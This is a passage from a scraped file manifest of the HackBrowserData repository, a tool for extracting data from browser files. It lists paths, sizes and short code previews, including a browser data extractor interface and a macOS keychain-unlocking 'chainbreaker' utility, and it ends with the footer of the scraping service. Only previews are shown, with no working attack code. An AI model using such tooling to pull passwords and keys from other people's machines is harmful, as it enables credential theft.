    "preview": "package extractor\n\n// Extractor is an interface for extracting data from browser data files\ntype Extractor interface {\n\t"
  },
  {
    "path": "extractor/registration.go",
    "chars": 534,
    "preview": "package extractor\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/types\"\n)\n\nvar extractorRegistry = make(map[types.DataT"
  },
  {
    "path": "go.mod",
    "chars": 1630,
    "preview": "module github.com/moond4rk/hackbrowserdata\n\ngo 1.20\n\nrequire (\n\tgithub.com/DATA-DOG/go-sqlmock v1.5.2\n\tgithub.com/gocari"
  },
  {
    "path": "go.sum",
    "chars": 9066,
    "preview": "github.com/DATA-DOG/go-sqlmock v1.5.2 h1:OcvFkGmslmlZibjAjaHm3L//6LiuBgolP7OputlJIzU=\ngithub.com/DATA-DOG/go-sqlmock v1."
  },
  {
    "path": "log/level/level.go",
    "chars": 800,
    "preview": "package level\n\n// Level defines all the available levels we can log at\ntype Level int32\n\nconst (\n\t// DebugLevel is the l"
  },
  {
    "path": "log/log.go",
    "chars": 824,
    "preview": "package log\n\nimport (\n\t\"github.com/moond4rk/hackbrowserdata/log/level\"\n)\n\nvar (\n\t// defaultLogger is the default logger "
  },
  {
    "path": "log/logger.go",
    "chars": 4071,
    "preview": "package log\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\tstdlog \"log\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"sync/atomic\"\n\n\t\"github.com/moond4rk/hackb"
  },
  {
    "path": "log/logger_test.go",
    "chars": 6638,
    "preview": "package log\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\n\tlevel2 \"github.com/moond4rk/ha"
  },
  {
    "path": "rfc/001-architecture-refactoring.md",
    "chars": 8353,
    "preview": "# RFC-001: HackBrowserData Architecture Refactoring\n\n**Author**: moonD4rk  \n**Status**: Proposed  \n**Created**: 2025-09-"
  },
  {
    "path": "types/types.go",
    "chars": 5806,
    "preview": "package types\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\ntype DataType int\n\nconst (\n\tChromiumKey DataType = iota\n\tChromi"
  },
  {
    "path": "types/types_test.go",
    "chars": 3422,
    "preview": "package types\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strconv\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestDataType_F"
  },
  {
    "path": "utils/byteutil/byteutil.go",
    "chars": 116,
    "preview": "package byteutil\n\nvar OnSplitUTF8Func = func(r rune) rune {\n\tif r == 0x00 || r == 0x01 {\n\t\treturn -1\n\t}\n\treturn r\n}\n"
  },
  {
    "path": "utils/chainbreaker/chainbreaker.go",
    "chars": 18874,
    "preview": "package chainbreaker\n\n// Logic ported from https://github.com/n0fate/chainbreaker\n\nimport (\n\t\"bytes\"\n\t\"crypto/cipher\"\n\t\""
  },
  {
    "path": "utils/chainbreaker/chainbreaker_test.go",
    "chars": 800,
    "preview": "package chainbreaker\n\nimport (\n\t\"testing\"\n)\n\nfunc TestUnlockKeychain(t *testing.T) {\n\tkeychain, err := New(\"./testdata/t"
  },
  {
    "path": "utils/fileutil/filetutil.go",
    "chars": 4004,
    "preview": "package fileutil\n\nimport (\n\t\"archive/zip\"\n\t\"bytes\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\tcp \"github.com/otiai10/cop"
  },
  {
    "path": "utils/fileutil/fileutil_test.go",
    "chars": 1548,
    "preview": "package fileutil\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretch"
  },
  {
    "path": "utils/typeutil/typeutil.go",
    "chars": 1189,
    "preview": "package typeutil\n\nimport (\n\t\"time\"\n)\n\n// Keys returns a slice of the keys of the map. based with go 1.18 generics\nfunc K"
  },
  {
    "path": "utils/typeutil/typeutil_test.go",
    "chars": 379,
    "preview": "package typeutil\n\nimport (\n\t\"testing\"\n)\n\nfunc TestReverse(t *testing.T) {\n\tt.Parallel()\n\n\treverseTestCases := [][]any{\n\t"
  }
]

// ... and 1 more files (download for full content)

About this extraction

This page contains the full source code of the moonD4rk/HackBrowserData GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 73 files (221.8 KB), approximately 68.3k tokens, and a symbol index with 467 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!